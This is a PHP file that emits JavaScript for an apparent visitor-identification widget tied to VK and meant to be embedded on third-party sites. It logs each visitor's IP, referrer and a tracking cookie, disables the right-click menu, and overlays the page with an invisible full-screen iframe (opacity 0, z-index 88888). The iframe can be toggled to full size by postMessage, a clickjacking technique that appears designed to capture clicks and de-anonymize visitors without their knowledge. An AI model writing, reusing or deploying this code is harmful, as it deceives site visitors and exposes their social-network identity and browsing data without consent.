<?php
global $base_url;
$remoteip = $_SERVER['REMOTE_ADDR'];
$myuid = (int)$_GET['uid']; //uid
$myhost = $_GET['a7'];
$myhost = str_replace('www.', '', $myhost);
$mypos1 = strpos($_SERVER['HTTP_USER_AGENT'],'Firefox');
if ($mypos1 === false) {
} else {
require_once('idna_convert.class.php');
$idn = new idna_convert(array('idn_version'=>2008));
$myhost = $idn->encode($myhost);
}
$mysocnid = 0;
$query = db_select('field_data_field_socscan_url', 'f');
$query->fields('f');
$query->condition('f.field_socscan_url_value', $myhost);
$import = $query->execute();
foreach ($import as $val) {
$mysocnid = $val->entity_id;
}
if ($mysocnid == 0) {
exit;
}
$query = db_select('node', 'n');
$query->fields('n');
$query->condition('n.nid', $mysocnid);
$import = $query->execute();
foreach ($import as $val) {
$mysocuid = $val->uid;
}
if ($mysocuid == $myuid) {
} else {
$mysocnid = 0;
exit;
}
$query = db_select('field_data_field_socscan_typewitget', 'f');
$query->fields('f');
$query->condition('f.entity_id', $mysocnid);
$import = $query->execute();
foreach ($import as $val) {
$mysstype = $val->field_socscan_typewitget_value;
}
$mymetrika = 0;
$query = db_select('field_data_field_socscan_metrika', 'f');
$query->fields('f');
$query->condition('f.entity_id', $mysocnid);
$import = $query->execute();
foreach ($import as $val) {
$mymetrika = $val->field_socscan_metrika_value;
}
if ($mysstype == 1) {
//Смотрим id группы
$query = db_select('field_data_field_socscan_idgroup', 'f');
$query->fields('f');
$query->condition('f.entity_id', $mysocnid);
$import = $query->execute();
foreach ($import as $val) {
$mygroupid = $val->field_socscan_idgroup_value;
}
} else {
$mygroupid = 0;
}
?>
if( navigator.userAgent.match( "Android|BackBerry|phone|iPad|iPod|IEMobile|Nokia|Mobile|MSIE|iPhone|webOS|Windows Phone|Explorer|Trident" ) ) {
mnoload = false; } else { mnoload = true; }
isSafari = !!navigator.userAgent.match(/Version\/[\d\.]+.*Safari/);
if (isSafari) { mnoload = false; }
if (!navigator.cookieEnabled) { mnoload = false; }
function are_cookies_enabled() {
var cookieEnabled = (navigator.cookieEnabled) ? true : false;
if (typeof navigator.cookieEnabled == "undefined" && !cookieEnabled) {
cookieEnabled = (document.cookie.indexOf("mywitget") != -1) ? true : false;
}
return (cookieEnabled);
}
function setCookie (name, value, expires, path, domain, secure) {
document.cookie = name + "=" + escape(value) +
((expires) ? "; expires=" + expires : "") +
((path) ? "; path=" + path : "") +
((domain) ? "; domain=" + domain : "") +
((secure) ? "; secure" : "");
}
function getCookie(name) {
var cookie = " " + document.cookie;
var search = " " + name + "=";
var setStr = null;
var offset = 0;
var end = 0;
if (cookie.length > 0) {
offset = cookie.indexOf(search);
if (offset != -1) {
offset += search.length;
end = cookie.indexOf(";", offset)
if (end == -1) {
end = cookie.length;
}
setStr = unescape(cookie.substring(offset, end));
}
}
return(setStr);
}
if (!are_cookies_enabled()) {
mnoload = false;
}
<?php
//Смотрим реф.
$myref = $_GET['a6'];
$mycook = $_GET['a8'];
if ($mycook == 'null') {
$cookid = db_insert('mylogid')
->fields(array('myuid' => $myuid))
->execute();
print 'setCookie("my1witid'.$myuid.'","'.$cookid.'", "Mon, 01-Jan-2016 00:00:00 GMT", "/");';
} else {
$cookid = $mycook;
}
if ($myref != '') {
$myss = $myref;
$myss = base64_encode($myss);
$id = db_insert('mylog')
->fields(array('nid' => $mysocnid, 'uid' => $myuid, 'cookid' => $cookid, 'mytype' => 1, 'mess' => $myss, 'remoteip' => $remoteip))
->execute();
}
//Проверяем авторизовался ли уже пользователь в vk
$query = db_select('myvk', 'm');
$query->fields('m');
$query->condition('m.uid', $myuid);
$query->condition('m.cookid', $cookid);
$import = $query->execute();
foreach ($import as $val) {
$myisvk = $val->id;
}
if ($myisvk > 0) { ?>
mnoload = false;
<?php }
?>
iframe_url = '<?=$base_url?>/vk/step2v<?=$mysstype?>.php?host='+location.host+'&id=<?=$mysocnid?>&ckid=<?=$cookid?>';
if( mnoload ) {
document.oncontextmenu = new Function("return false;");
var sf = document.createElement('div');
sf.innerHTML = '<iframe src="'+iframe_url+'" name="mywitget" id="mywitget" frameborder="no" scrolling="no" allowtransparency style="position:fixed; top:0px; left:0px; bottom:0px; right:0px; width:100%; height:100%; border:none; margin:0; padding:0; filter:alpha(opacity=0); opacity:0; cursor: pointer; z-index:88888;" /><\/iframe>';
(document.getElementsByTagName('html')[0] || document.body).appendChild( sf );
sf = document.getElementById("mywitget");
sf.style.visibility = "hidden";
sf.style.height = "1px";
sf.style.width = "1px";
sf.parent = undefined;
}
onmessage = function(evnt) {
if (evnt.data=='myhide1') {
document.getElementById('mywitget').style.visibility = "hidden";
document.getElementById("mywitget").style.height = "1px";
document.getElementById("mywitget").style.width = "1px";
setCookie("mywitget","<?=$myuid?>", "Mon, 01-Jan-2016 00:00:00 GMT", "/");
<?php
if ($mymetrika > 0) {
print "yaCounter".$mymetrika.".reachGoal('vk');";
}
?>
}
if (evnt.data=='myhide2') {
document.getElementById('mywitget').style.visibility = "hidden";
document.getElementById("mywitget").style.height = "1px";
document.getElementById("mywitget").style.width = "1px";
setCookie("mywitget","0", "Mon, 01-Jan-2016 00:00:00 GMT", "/");
}
if (evnt.data=='myshow') {
document.getElementById('mywitget').style.visibility = "visible";
document.getElementById("mywitget").style.height = "100%";
document.getElementById("mywitget").style.width = "100%";
}
}